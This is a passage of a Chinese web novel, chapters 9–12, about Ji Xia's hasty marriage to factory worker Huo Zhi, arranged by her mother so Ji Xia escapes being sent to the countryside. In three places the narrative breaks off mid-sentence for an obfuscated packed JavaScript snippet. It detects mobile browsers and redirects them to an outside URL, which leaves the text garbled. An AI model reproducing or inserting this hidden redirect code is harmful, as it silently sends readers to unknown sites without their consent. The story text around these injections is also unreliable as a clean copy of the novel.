“哎哟,你这个小同志可不要胡说八道!”金桂花叉起腰,满脸的不高兴,叭叭一顿说,“怎么还不让人结婚生子了,你爸妈要是不结婚,能生下你吗?再说我们说了不下乡吗?两个年轻人感情好先结个婚怎么不行?大不了等结完婚,你把她送到农村去就是!你再胡说,我可要去找你们领导反映反映,怎么还污蔑人呢……” 感情好到想结婚的纪夏和霍执:“……” 男工作人员被她机关枪似的一番话突突得说不出话来:“你你你歪理邪说——” “行了行了,大家都少说两句。”女工作人员连忙出来打圆场。 “我说的又没错!”金桂花不服气。 “是这样的,金桂花同志,”女工作人员重新开口,“按照政策,纪夏同志是符合我们上山下乡政策条件的知识青年,我们这次过来也是为了这个目的。” 金桂花忍住没开口。 “但你说的纪夏同志要结婚的这种情况……确实也没有明确的规定。”女工作人员为难道,“这样吧,如果你们真想结婚的话,请拿出结婚证明材料去我们知青办登记,到时候我们再看这种情况怎么处理。” “行,我知道了。”金桂花淡定地应了一声。 其实早已心里已经乐开了花。 真领了结婚证,她不信他们还真继续把纪夏送下乡! 知青办的工作人员又问了些情况,顺便还问了问霍执的情况。 霍执眉心狠狠一跳。 金桂花却已经开口替他回答了。 霍执:“……” 将知青办的工作人员送走之后,金桂花回来对霍执说:“那就这么说定了啊!小霍,中午留在这吃午饭啊!” “不了,我还有点事要办。”霍执飞快拒绝。 真的有种再呆下去自己被人卖了还帮别人数钱的预感。 金桂花挽留:“哎呀,怎么就走了啊?后天记得过来啊!” 惋惜不已地送走霍执之后,金桂花关上院门,脸上的笑止都止不住。 见依旧一副死样在一旁站着的女儿,金桂花拍了一下她的肩膀:“愣什么啊,可算是解决一件大事了!还得要我出马啊,你是半点都指望不上,怎么就没有你妈的半点机灵!” 纪夏:“……” “妈,你这是忽悠人家,强扭的瓜不甜!”纪夏说。 “说你缺心眼,你是真的没心眼啊!”金桂花恨铁不成钢,“这都什么情况了,你还管它甜不甜,好不容易见着个漂亮的,先扭下来再说!” 纪夏:“那你这也不一定扭下来了!” 全程看着她妈忽悠人,一句话都插不上嘴的纪夏坚定地认为,等霍执回过神来,肯定早跑了! “哼,老娘吃过的盐比你吃的米还多,我能看不出来他什么想法?他稀罕着你呢,你就等着他来娶吧!”金桂花自信道。 她那双眼睛一看就知道,霍执那小子绝对对自家傻女儿有点意思! 而且现在还在知青办和居委会那边都挂了名,金桂花底气足得很! 纪夏:“……” 救命啊,我妈好像疯了! …… 霍执从纪家出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072176|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,就直接回了机械厂。 事情的发展简直大大出乎了他的意料。 他也不明白,怎么出了趟门后,自己就多了门亲事? 而且还是和纪夏。 霍执皱着眉,开始回想在纪家发生的事情。 然后发现自己基本上全程都在被人牵着鼻子走。 意识到这一点之后,霍执就有点憋屈。 既然如此,那也就做不得什么数了,反正他也没明确答应。 霍执如是想。 但心里却没有如释重负轻松的感觉。 仔细想想,纪夏其实也没做错什么。 自己要是真撂手不管了,她的处境只会更加糟糕。 …… 厂长家客厅。 文全山正坐在餐桌后准备吃晚饭。 今个儿有好菜,他特意把柜子里的白酒拿了出来,准备小酌上几杯。 正给自己倒酒呢,就见从屋外走进来一个人。 文全山眉梢一扬,笑着开口:“哟,稀客啊,正好今天食堂做了猪耳朵,过来陪我喝几杯!” 又朝厨房那边喊了声:“钱英,小执来了,再拿个杯子出来!” “知道了!”钱英应了声。 很快,她动作麻利地从厨房端了菜和酒杯出来。 扫了眼餐桌,念道:“哎哟,菜是不是不太够啊,我再去食堂打几个菜回来?” “对,你赶紧去。”文全山赞同道。 霍执又不是真来蹭饭的:“不用了,我来……是有点事。” 正要解围裙的钱英闻言看过来:“什么事?你尽管说。” 文全山也抿了一口酒看着他。 见两人都盯着他看,他抿了下唇,看向钱英:“我是来请钱婶后天去帮我提个亲。” 钱英还以为自己没听清,不敢置信地重复一遍:“什么?” 霍执十分淡定地重复一遍。 一旁的文全山则直接一口酒呛在了嗓子眼里,一时间狂咳不已。 钱英这时候压根没空关心老伴,她自己也吓得不轻。 双手有些颤抖地摸着桌沿坐下来,脸上的表情相当不平静:“怎么好端端突然要提亲了?哪家姑娘啊?” “……纪夏。”霍执说,原本淡定的脸上终于闪过一抹不自然。 钱英:“???” “谁?”她不敢置信重问了一遍,问完又瞪他:“你不是没看上人家吗?” “我没有看不上。”事已至此,霍执板着脸认栽。 “长喜那小子跟我说你相不上啊!”钱英纳闷,还有纪夏那姑娘也是相同的说法。 真是搞不懂他们这些年轻人。 但现在霍执愿意结婚,而且还是和她看好的纪夏,钱英心里还是很高兴的。 问了问别的情况之后,钱英给霍执打包票,说后天一定帮他好好张罗! …… 霍执脚步轻松地从文家出来。 时间已经不早,他便直接回了宿舍。 杜长喜一天都在惦记着纪夏的是,见霍执回来,便立马问道:“回来了?你和纪夏同志解释了吗?” 霍执:“……” “说了没说啊?” “说了。” “那她怎么说?” “她没说什么。” “啊?”杜长喜挠了挠头。 霍执瞥他一眼,不动声色地坐下,随后淡淡开口:“对了,跟你说个事。” “嗯?什么?”杜长喜看过来。 “我要结婚了。” 杜长喜:“???” 10. 第 10 章 这句话像一颗突如其来的炸弹。 杜长喜觉得自己脑子都要炸飞了,嘴巴张开得能直接塞下一颗鸡蛋。 “真的假的?”杜长喜第一反应是不相信,“你开玩笑的吧!” 但是见霍执脸上的表情不像是开玩笑的样子,他又迟疑了。 “等等,让我捋一捋。”杜长喜转动自己的脑袋瓜子,“你的意思是,你白天出了一趟门,晚上回来就要结婚了?” “对方是谁?” “你认识。” 杜长喜:“???” 他认识这么多人,哪里猜得出是谁!突然,他脑子里冒出一个可能…… “……你你你别告诉我是纪夏?”他试探地问。 霍执身体往椅子上一靠,平静地点了下头。 “我靠,你这也太不厚道了!”杜长喜气得跳起来,“你抢我相亲对象啊!” “说话注意点。”霍执皱眉。 事情发展成这样,霍执心里其实也有点儿不自在。 但退一万步来讲,杜长喜他就没有错吗? “我听钱婶说,你跟她说我没相上纪夏?”霍执扯了扯嘴角。 “对啊。”杜长喜点头,“难道不是——” 话说到一半,杜长喜突然哑了。 他仔细回想了一番,发现霍执好像还真没说过这话! 又看到霍执正抱着手臂,目光凉凉地看着他后,杜长喜瞬间觉得自己的脖子也一凉。 坏了坏了,自己不仅误传情报,甚至还想和他抢媳妇! “哎哟,突然想起二虎找我有事呢,我得赶紧过去一趟!” 霍执:“……” 杜长喜溜了之后,霍执这才注意到放在自己桌上的一个鼓鼓的纸袋。 他疑惑地拿起来一看,反映了两秒,这才反应过来好像是他上次还给纪夏的那一包糖。 绳子还系在上面,拆都没拆开。 看着这没成功还回去的糖,霍执沉默了。 看来果然不能欠人东西不还,这下好了,把自己给赔进去了。 …… 转眼来到三天后。 从昨天晚上开始,金桂花一颗心就一直七上八下的,连觉也睡不踏实。 今天一早起来,更是坐也不是,站也不是,心里担忧着霍执等会究竟会不会过来。 万一他反悔了可怎么办? 哎哟,早知道就不讲究这些虚礼了。 拖了两天,难保事情不会出现变故! 金桂花这样一想,顿时后悔得肠子都要青了。 反观纪夏这几天能吃能睡的,没有半点要担忧的意思。 这会儿才从床上爬起来,凌乱着一头黑发,打着哈欠走出来,一张脸白里透红,一看就知道昨晚一定睡了个好觉。 这副不慌不忙的样子正好撞到了金桂花的枪口上。 金桂花气不打一处来:“瞧瞧,这都要日上三竿了,你才起来!还不赶快收拾好,人家马上都要上门了,看到你这幅样子可怎么办!” 纪夏:“……” 等会儿没有人来都不一定。 但纪夏不敢顶嘴,只缩缩脖子应了一声,乖乖去刷牙洗脸收拾自己去了。 金桂花又焦躁不安地坐了一会儿。 还往院门口张望了几次,心里越发没了底。 该不会真不来了吧? 金桂花心都凉了。 纪夏这会儿洗好了脸梳好了头发,一瞧见她妈这副模样,很有眼色地绕着她走。 因为根据以往的经验来看,一般这时候谁凑上去谁倒霉。 纪夏悄咪咪溜到厨房,拿起锅里面金桂花给她留的粗粮早饭,就这么站在灶台边上吃了起来。 一边在嘴里慢慢咀嚼着,一边双目无神地放空大脑。 大概是一大早受金桂花的念叨,纪夏的思绪也不可避免地飘到了霍执身上。 霍执反悔了,算是在纪夏的意料之中。 但凡是个脑子正常的,应该都不会受到金桂花的忽悠吧? 只是霍执不来的话,自己的处境好像又回到了原点。 纪夏突然有些食不下咽起来。 不过很快,她又调整好了自己的心态—— 纪夏你干什么呢? 现在什么都还没发生呢,干嘛这么丧气! 船到桥头自然直,反正没死就行,不行就死。 现在嘛,就该吃吃该睡睡。 多活一天是一天! 纪夏一边吃一边琢磨着,很快便将自己给哄好了。 纪夏成为一条软柿子咸鱼不是没有原因的。 好像一遇到什么不太好的事情—— 如果事情不大,她一般只在心里怒一下,默默骂几句,当即就把自己给哄好。 要是事情比较严重,她可能会先焦虑生气一段时间,随即开始躺平,然后再把自己给哄好。 乐观和悲观都不纯粹。 优点是不会有闷气憋在心里出不去。 缺点则是在外人看来脾气软不反抗看着极为好欺负。 这种性格说好不好,说坏也不坏。 反正纪夏自己觉得还行。 给自己倒了杯凉白开后,纪夏就准备溜回自己的房间,经过小院时,突然听见门口那边传来一阵动静。 “家里有人吗?”钱英豪爽的声音传进来。 原本正耷拉着一张脸的金桂花一听这声音,眼睛一下子就亮了起来,立马换上一副笑脸,变脸速度快得让纪夏咋舌。 只见提着东西的一行人进了小院。 除了最前头的钱英外,还有几个纪夏不认识的人。 霍执走在最后面,比前面的人高出一截,身姿挺拔,线条硬朗,步履从容不迫,显得格外出众。 隔着前面一众人,霍执的目光投向纪夏。 两人的视线隔空对视上。 纪夏眨眨眼睛,不敢置信。 不是吧,霍执他真来提亲了? 坏了,难不成他脑子真的不正常? 霍执也看着纪夏。 只见她双眼直勾勾地盯着他看,一副傻了的样子。 金桂花已经和钱英那一群人热切地聊了起来。 “人来了就行,怎么还带这么多东西呢!”金桂花嗔怪道,脸上的笑意却止也止不住。 “礼数不能少!” “……” 纪夏坐在一旁,略有些尴尬地听着这些人对她和霍执大夸特夸。 说着说着,众人的视线移到纪夏和霍执身上,见他们两人没什么交流的样子,不由得打趣起来。 “你们两个怎么都不说话啊?” “年轻人脸皮薄,估计不好意思呢!” “哎哟小夫妻都是这样,结了婚后就熟了。”有人意味深长地说。 “……” 纪夏被打趣得脸颊发烫。 总觉得好像话里有话,但不明白是什么话,就觉得挺尴尬的。 悄悄看一眼霍执,发现他表现得还挺淡定的。 他姿态随意地坐在椅子上,双腿微微岔开,长辈们说话时侧耳倾听,偶尔还能搭上两句话。 纪国庆也被人给叫了回来。 虽然纪国庆平时也不见得对纪夏有多好,从小到大还经常抢纪夏的吃的喝的还有过年时候的压岁钱。 但一想到纪夏竟然真的要嫁出去了,心里顿时有些不是滋味。 纪国庆目露挑剔地看了霍执一眼,有心想从他身上挑出些什么毛病来。 第一眼看的自然是相貌。 纪国庆将霍执从眼睛到鼻子到嘴巴都打量了一番,愣是没能挑出什么瑕疵。 与此同时,霍执站起来和他打了个招呼。 纪国庆一看,竟然比自己高! 纪国庆嘴一撇,坐下来咳嗽一声,刚想说话,就见金桂花一双眼睛瞪过来。 “国庆,陪小霍好好说话啊。”金桂花笑着,眼神里满是警告。 毕竟是自己生下来的儿子,纪国庆一抬屁股她就知道他要放的是什么屁! 金桂花可不会让纪国庆把这好事给搅和了。 纪国庆一听他妈说的话,瞬间一个激灵,也不敢没事找事了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15072177|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能老老实实地和霍执聊起天来。 等到客人离开的时候,纪夏和霍执的事情已经板上钉钉地定了下来。 双方约定好,开具结婚证明后,先把结婚证给领了。 随后再选个良辰吉日举行正式婚礼。 争取一个月内把婚事办好。 时间算是相当紧凑。 但也没办法,情况特殊嘛。 更何况,这时候像纪夏和霍执这种匆忙结婚的情况也不少,大家对此也早已心照不宣。 …… 客人离开后,原本热闹的小院安静下来。 憋了好久的纪国庆终于忍不住开口:“小妹真就这么嫁了?” 纪夏其实同样想问:她和霍执就这么定亲了? 金桂花扫了眼自己的一双表情茫然的儿女,哼了一声:“不赶紧嫁了,难道还等着被人撵下乡吗?” 说完,目光在两人身上转了一圈,决心敲打敲打纪国庆这个不稳定份子:“纪国庆,你给我老实点,你要是敢给我闹出什么幺蛾子,老娘饶不了你!” “凭什么这么说我!”纪国庆有些不服气。 金桂花冷哼一声:“要不是知道你还有点良心,我都怀疑之前给林祥安告状的人是你!” “我哪有!”纪国庆觉得自己被污蔑了,很是生气。 “你敢说你没干过这样的混账事!”金桂花翻起旧账,“之前带一群不三不四的人过来看你妹妹然后收好处的是你吧!” “怎么又提这事啊!”纪国庆有些烦,“而且我也就只干了一次!” 那都是三四年前的事了。 当时纪国庆刚踩狗屎运进了工厂当学徒,很快交了一帮厂里的狐朋狗友。 不知道是谁听说纪国庆有个长得贼好看的妹妹,起哄想让他带他们去见见。 那会儿纪夏十六岁,出落得越发漂亮。 又正值青春期,金桂花都担心死了,在她身边严防死守。 纪国庆成天听金桂花念叨,当然也知道她的担心,所以一开始拒绝了。 但朋友们不依不挠,还各种给他送好处,什么电影票啊,好吃的好喝的好玩的都送了过来,让本就没那么坚定的纪国庆动摇了。 心里想着,让他们看一眼也没什么大不了。 反正有自己在呢,料他们也不敢做什么! 于是呼啦啦一群人等在纪夏回家的路上。 也该是纪国庆倒霉,好巧不巧那天金桂花去接纪夏。 金桂花一眼就看出来不对劲,见那群男孩一个个眼睛都悄悄往纪夏那边看,火气一下子就冒了上来。 但想着纪国庆都十八九了,在他朋友面前还是给他留了点面子。 先将他那群朋友打发走了,然后才揪着纪国庆的耳朵回了家。 纪国庆起先还梗着脖子不承认,被金桂花狠狠教训了一通才招了。 最后,金桂花让纪国庆把收了的好处都还了回去,又让他给纪夏赔了罪,这事才算了结。 重提这事,金桂花忍不住又数落了他几句,最后骂道:“真是指望不上你!半点忙也帮不上,就别再给我扯后腿了!” 纪国庆嘴唇动了几下,有点想反驳。 他想说自己也不是什么都没做。 得知纪夏被林祥安纠缠不休,他当时都磨拳擦脚准备去揍林祥安一顿! 结果被他师傅发现了,挨了好一顿骂,让他安分点别惹是生非。 别到时候偷鸡不成蚀把米,被人给拿捏住,他妹不嫁也得嫁了! 纪国庆一想,觉得是这个道理。 于是退而求其次,按照金桂花的想法来。 他都将目光放到了自己身边的朋友身上了,还想着便宜他们了。 结果好不容易挑出两个靠谱的,问他们愿不愿意和纪夏相亲。 没想到这群王八蛋全是怂包! 以前还成天跟他打探消息呢,现在倒跑得飞快,各个摆手说不敢得罪市委家的公子! 纪国庆忙来忙去,一件事也没办成。 想想也觉得怪没面子的,于是也没和家里说。 11. 第 11 章 这时候想领个结婚证可不是简简单单跑一趟婚姻登记机关就行,得有身份证明、户籍证明以及婚姻关系证明。 后两项都需要由所在单位、街道办事处或村民委员会那里盖章开介绍信。 霍执这边简单,直接去找他们厂里就行。 纪夏没工作,就得去找街道的街道办事处。 正所谓阎王好见,小鬼难缠。 街道办的一些办事员职位虽然看着不起眼,手底下权力虽小,但拿捏起人来也是真厉害。 真要卡着你,你还真没什么办法。 金桂花深谙这个道理。 为了让纪夏能顺顺利利拿到介绍信,金桂花前一晚还悄悄给办事员家里送了礼。 第二天,金桂花客客气气地把户籍材料摆到办事员桌前,脸上堆满笑容:“同志,材料都在这里了,介绍信我们也写好了,你确认无误后盖个章就行!” 办事员是个三十多岁的中年女人,嘴角有一颗大黑痣。 她先是抬了抬眼皮打量纪夏一眼,心里冷哼,果然长了一张不安分的脸! 接着她瞥一眼桌上的材料,撇了撇嘴说:“先放这吧。” “哎呀,同志,你看一下很快的。”金桂花急了。 “我这儿事多的很,先来后到懂不懂啊?”办事员不耐烦地说。 金桂花还想说什么,但纪夏扯了扯她劝道:“要不我们下午再来吧。” 既然办事员都这么说了,纪夏觉得等一等也无所谓。 金桂花暗骂一句这办事员拿了东西不办事,但暂时也不想得罪她,只好客气道:“那我们下午再过来啊!” 办事员不耐烦地撇了撇嘴。 没想到一连跑了好几趟,都没能开到介绍信。 要么是说她材料不全,要么人家低头忙别的事根本不搭理你。 金桂花憋了一肚子火。 后来还是相熟的人偷偷告诉她,是有人给办事员打过招呼了。 这个人想都不用想,肯定是林祥安。 金桂花本来就是个泼辣货,现在都被人直接欺负到头上了,根本忍不了一点。 这世道就是这样,你不吵不闹,越是乖顺越会让别人更加肆无忌惮欺负你。 而你要是无理取闹,反正真能闹出点东西来。 只怪那林祥安只私下搞点小动作,再加上怕到时候真把自家女儿名声给搞臭了,不然金桂花还真想去市委大闹一场。 所以得知办事员就是故意卡她们,金桂花直接去街道办闹事去了。 市井几十年可不是白混的,金桂花的吵架功力可谓是炉火纯青,撒泼打滚更是手到擒来。 “我们家成分可是根正苗红!” “真是太欺负我们这留在城里的孤儿寡母!” “今天我就坐在这不走了!” “你这个办事员叫什么名字?等会儿就写大字报贴外面去……” “……” 办事员的脸青一阵红一阵,最后直接被气哭了。 无比后悔自己接了这么个烂摊子。 最后还是领导出面,亲自给金桂花的介绍信上盖了章。 金桂花还没忘记去办事员的家里,把她之前送的礼给拿回来。 …… 纪夏并不知道她妈今天在街道办的壮举。 她今天和霍执一起去照相馆拍结婚要用到的照片去了。 刚回到家,金桂花就把户籍材料以及结婚介绍信一并递给纪夏,一脸淡定地说:“收好,明天就和小霍去把证领了。” 纪夏翻了翻材料,正要点头,却又想起来说:“明天不行,照片得后天才能取。” 金桂花皱眉,不满道:“还真是,那就后天吧,明天正好让你哥去给小霍送个信。” 被安排去跑腿送信的纪国庆百般不情愿,不情愿地说:“那我还得上班呢!” “你上个屁的班,没事干的时候成天聚在一起打牌,别以为我不知道!”金桂花哼道,“别废话了,你下午请个假早点去一趟,态度给我好一点啊!” 纪国庆叽叽歪歪地出了门。 …… 领证这天。 霍执来到纪家接纪夏。 他身形高挑且挺拔,背脊挺得笔直,头发乌黑浓密,身上穿的衣服也干净整洁,整个人看起来十分沉稳可靠。 金桂花真是丈母娘看女婿,越看越满意。 本来让纪夏结婚只是权宜之计,属于是没办法中的办法,金桂花也不敢有过多的要求,只要男方稍微看的过眼,不要太差劲就行。 哪想到最后竟然被她捡来了这么一个金龟婿! 金桂花现在真是做梦都要笑醒了。 “一大早就喊你起床,偏不起,你看看,小霍人都来了!”金桂花悄悄数落了还在吃早饭的纪夏一句。 纪夏:“……” 真是有苦难言。 骂完她后,脸上又立马换上了一副笑脸,朝着霍执迎了过去。 “小霍来了啊,吃早饭了吗?要不坐下来和夏夏一起吃点?”金桂花问。 “吃过了。”霍执回道。 “那你坐着等一会儿,夏夏这孩子从小吃饭就慢。”金桂花笑着说。 霍执顺势往纪夏的方向看去。 她正在吃着一个红薯,霍执两三口就能吃完的大小,只见她用洁白的牙齿咬一口下去,粉粉糯糯的红薯只受了点皮外伤。 霍执:“……” 他怀疑猫都比她吃得快。 纪夏也悄悄地看向霍执。 他正和金桂花站在桂花树下说话,大部分时间都是金桂花在说。 两人身高差距大,霍执微微弯腰,时不时回答几句。 态度看起来没什么异常。 纪夏稍稍放心。 主要是纪夏这几天一直良心难安。 总觉得这门亲事完全是靠金桂花一张嘴忽悠过来的,换句不好听的话,性质恶劣得和骗婚差不多。 霍执纯粹是到现在还没反应过来,这才答应娶了她。 等他哪天反应过来,说不定就会后悔。 而纪夏作为知情人和受益人,内心就很受煎熬。 眼看着今天领完证之后,这事就真板上钉钉了,纪夏今天早上都逃避得不想起来,可惜依旧被金桂花从床上给挖了出来。 纪夏都想着要不直接和霍执说别结婚算了。 但一来,她怕金桂花会掐死她。 二来,嫁给霍执确实是目前让她逃离梦中剧情的最好方法。 这可真是对她的巨大考验! 犹犹豫豫一直没下定决心到底该怎么做,拖着拖着就拖到现在了。 吃饭完后,金桂花把两人送到门口。 临出门前,还特意让他们检查一遍东西都带好了没? 霍执今天是骑自行车来的。 两人先是推着自行车在巷子里走了一段路。 霍执察觉到旁边的纪夏频频看过来的视线,以及欲言又止的表情,终于忍不住偏头问:“你有话要说?” 纪夏立马涨红了一张脸:“……没有。” 对上他漆黑锐利的眼睛,她压根就张不开口。 霍执看她几眼,并不知道她这是怎么了。 他停下步子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15072178|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,微微躬身,长腿一迈,动作十分利落地跨上了身边那辆在泛着金属光泽的二八大杠自行车的车座。 “上来吧。”霍执偏头对纪夏说。 纪夏小步走过去,小心翼翼地坐上自行车后座,也没敢拽他衣角,只用手抓紧了自己屁股下的后座架。 霍执双手稳稳扶着车把手,目视着前方,只感觉后座略微动了下,接着便没动静了。 于是他回头看了一眼。 率先闯入他视线的是她裙子下裸露着的一双白皙纤细的小腿。 霍执僵硬地将头扭了回去,闷声说了句:“坐好了。” 说着,便踩着自行车踏板向前滑去。 两人先是去了一趟红旗照相馆,将上次拍的结婚照片取了,随后才赶往民政局。 到了地方,两人先是出示了各种证明文件,还填了不少资料。 工作人员着重排查了两人的家庭成分。 确认没问题后,她才拿出两张空白结婚证,准备将两人的资料给填写上去。 落笔之前,她抬头望向自己面前这一对的男女。 工作这么多年,她还是第一次看见双方长相都如此优越的新婚小夫妻,真是令人赏心悦目。 欣赏一番后,工作人员惯例问了一句:“两位年轻同志结婚是出于自愿的吗?” 纪夏:“……” 就很心虚。 但是人都到这来了,也没退路了,纪夏咬咬牙下定了决心。 “当然了。”纪夏鼓起勇气点头。 见旁边的霍执不说话,纪夏碰了碰他的手,小心翼翼朝他微笑着问:“对吧?” 霍执被她脸上的笑容晃了一晃,又感觉到手背像被挠了一下,浑身上下跟着一起发痒。 他喉结一动,点头:“对,自愿的。” 纪夏松了一口气。 工作人员点头,拧开钢笔盖,埋头在结婚证上填上了他俩的身份信息,贴上了照片,还给盖上了大红章。 拿到结婚证后,两人又站在台前,拿着□□,庄严地进行了一番革命宣誓,领证才算完成。 与结婚证一同领到的,还有一本婚前教育书,以及几张结婚专用补助票,里面有一些家具票、布票、棉胎票以及糖票。 票上的定量不算多,只能说是勉强够用。 出来后,霍执将纪夏送回纪家。 从小到大没干过一件坏事的纪夏一路上恍恍惚惚羞愧不已。 在巷子口停下的时候,纪夏扯了扯霍执的衣角,抬头和他认真地保证道:“我以后一定会和你好好过日子的!” 羞愧加上羞耻,纪夏白皙的脸颊升起两团红晕,眼睛亮闪闪的泛着点水光。 霍执一愣,随即不自在地移开视线,从喉咙里发出“哦”的一声。 所以她刚刚一直吞吞吐吐的,原来是想和他说这个? 看着她脸颊通红,一副害羞又期待的样子,霍执突然想起金桂花说的话来。 金桂花当初说纪夏在和自己相亲时就看上他了这话,霍执其实并没当真,只当她是想找个人解决目前的困境。 但看到她现在的模样,顿时又有点不确定了。 于是他顺着这个思路回想了一下两人之间的相处—— 第一次见面,她就主动暗示想和自己发展。 订了婚后,经常偷看他,被他抓到过好多次。 去结婚登记的时候,还偷偷勾他的手。 刚刚甚至还直接向他表白了…… 难道金桂花说的是真的? 纪夏真的一早就喜欢他了? 而且看样子还喜欢得不轻? 12. 第 12 章 霍执送完纪夏后便回了厂里。 杜长喜今天刚出车回来,交完班之后闲着没事做,此时正抄着手看树下的老头们下象棋。 观棋不语如此美好的品德在杜长喜身上是不存在的。 他不仅会说话,他还贼能说。 没站一会儿,他就被老头们吹胡子瞪眼地赶走了。 杜长喜心里暗骂老头们真是玩不起,抬眼就看见霍执骑着自行车过来,于是扬起笑脸打招呼:“执哥,回来了啊?” 霍执停下车,点头:“嗯,刚去领了结婚证回来。” 杜长喜:“???” 没想问这个谢谢。 由于上次相亲的乌龙,杜长喜单方面觉得和霍执的关系变得有点尴尬。 杜长喜怕被霍执揪着算账,未雨绸缪,前几天特意和人换了班出去跑车去了,今天才回来。 没想到一见面就撞枪口上去了。 杜长喜欲哭无泪,面露尴尬道:“恭喜恭喜啊!” “嗯,”霍执点头,“现在得拿着结婚证去厂里报备,一起?” 杜长喜:“……” 怎么还在说这个事! 没想到躲了几天还是没躲过! 他执哥现在绝对是要找他算账的意思是吧是吧? 杜长喜膝盖一软,直接滑跪道:“执哥我错了,我不应该对钱婶胡说八道,我对天发誓,我对嫂子绝对没有半点觊觎之心,完全是纯洁的阶级革命友谊!” 无语了几秒,霍执淡然地说,“省省吧,又没怪你。” 论起来,杜长喜也没做错什么。 自己当时确实也没想好。 再说,杜长喜和纪夏根本就没见过面。 而且金桂花不也说了吗?她根本就不愿意和杜长喜相亲。 “真的?”杜长喜还有点儿不相信。 霍执扯了扯嘴角,抬起长腿作势要踹他。 杜长喜抱着一只腿往后一跳,心里这才相信霍执是真不介意。 心里顿时有些美滋滋的,他就说嘛,自己和执哥这么多年的兄弟感情,怎么可能因为一个女人而产生裂痕呢! 那也太脆弱了吧! 自己可真是以小人之心度君子之腹了! 前几天完全是瞎担心嘛! “去厂里报备是吧,去去去!”杜长喜殷勤道。 …… 领到结婚证以后,纪家小院也开始忙碌起来。 金桂花手上积攒的各种票证都派上了用场,都去百货商场、供销社里换了大堆大堆的东西回来,用来当做纪夏的嫁妆。 因为时间仓促,关系好的亲朋好友们也都被叫过来帮忙了。 缝被子、做衣服、做鞋子…… 时间不赶巧地在炎热的夏日,干起活来真是闷热。 又没风扇,实在太热了只能自己扇扇子降温,一天下来,衣服都能得被汗沾湿好几回。 金桂花见状,很大方地买了好几个绿皮西瓜,提前镇在冰凉的井水里,热极了的时候,就切开来给大家解暑。 就这样过去了十来天,距离两人的婚礼也越来越近。 这期间,纪夏和霍执一直没有再见面。 一直到婚礼前几天,两人才又一起出去了一次。 …… 霍执来接纪夏时,纪夏已经在家等了一会儿了。 见他出现在门口,便探出脑袋朝他露出笑容:“你来了啊?” 自从上次和霍执说了那句话之后,纪夏终于不像之前那样饱受良心的谴责了,内心好受了不少。 再加上性格使然,纪夏重新变成一条平静又快乐的咸鱼。 不过咸鱼归咸鱼,她还是记得自己的承诺的。 于是这次见到霍执,也很快进入了自己的身份,将他当做自己未来的丈夫对待。 这一幕落在霍执眼里,却有了全然不同的意思。 只见她笑靥如花,眼里全然只有自己的模样,真是又一次印证了他之前的猜测—— 她果然喜欢他。 意识到这一点之后,霍执身体不自觉地紧绷了起来。 面对她的热情,总觉得怪别扭的,也不知道该作何回应。 她到底是喜欢自己那里? 今天身上穿的这身衣服好像洗的有点发白了? 一路过来头发不知道乱没乱? …… 霍执脑子里飞快闪过许多乱七八糟的想法,脸上也完全不知道该作何表情。 最后,他下意识板起一张脸,开口道:“嗯,走吧。” 纪夏觉得他有些奇怪。 但也没有多想,毕竟前几次见面,他也一直表现得沉稳话不多,面无表情时甚至有点凶的样子。 两人先在外面吃了碗馄饨,然后去到市里的百货大楼。 他们到的时候,正巧碰到百货大楼的员工往楼外张贴告示,说是新到了一批十分紧俏的的确良布料。 一时间人群里哗然起来,聪明的人立马跑去去布料柜台那边排队抢购去了。 霍执对布料不感兴趣也没什么研究,但也知道她们女人对这些最是喜欢,于是便也拉着纪夏过去排队。 他们来得巧,排在队伍里比较靠前的位置,而在他们身后,排队的人群还在不断的扩大。 人一多起来,就变得乱糟糟的,各种吵闹声也不绝于耳。 有被人挤到或者踩掉鞋子的人吵架的;也有排在前头,结果钱和布票没带够,等着家里人送过来,于是一直赖在柜台边不肯走,从而与排在他后面位置的人吵起来…… 霍执身躯高大挺拔,宽肩窄腰,与生俱来带着一股英气,面无表情时更显得气势逼人,一看就不是好惹的人,压根没人敢往他这边挤。 站在他前面的纪夏于是也占了便宜。 第一次体会到排队时不被人挤到的感觉。 因为刚刚一路上,霍执都表现得十分沉默寡言,纪夏觉得自己得识趣一些,于是就没找他说话。 而霍执此时正盯着纪夏的后脑勺看。 她的头型很饱满,头发乌黑浓密,即使梳着两条辫子,发缝也不明显。 再往下看是细白的一截脖子,后脖颈的皮肤细腻又光滑。 天气热,上面浮着一层薄汗,莫名看得人有些燥热。 霍执移开视线。 但很快又注意到,好像从排队到现在,纪夏就一直没回过头和他说话。 难道是刚刚自己的态度打击到她的热情了? 霍执不自在地挠了挠眉。 想了想,他准备和纪夏说话。 但还没等他想好要说什么,突然有一个人高马大的男人插队到纪夏的前面。 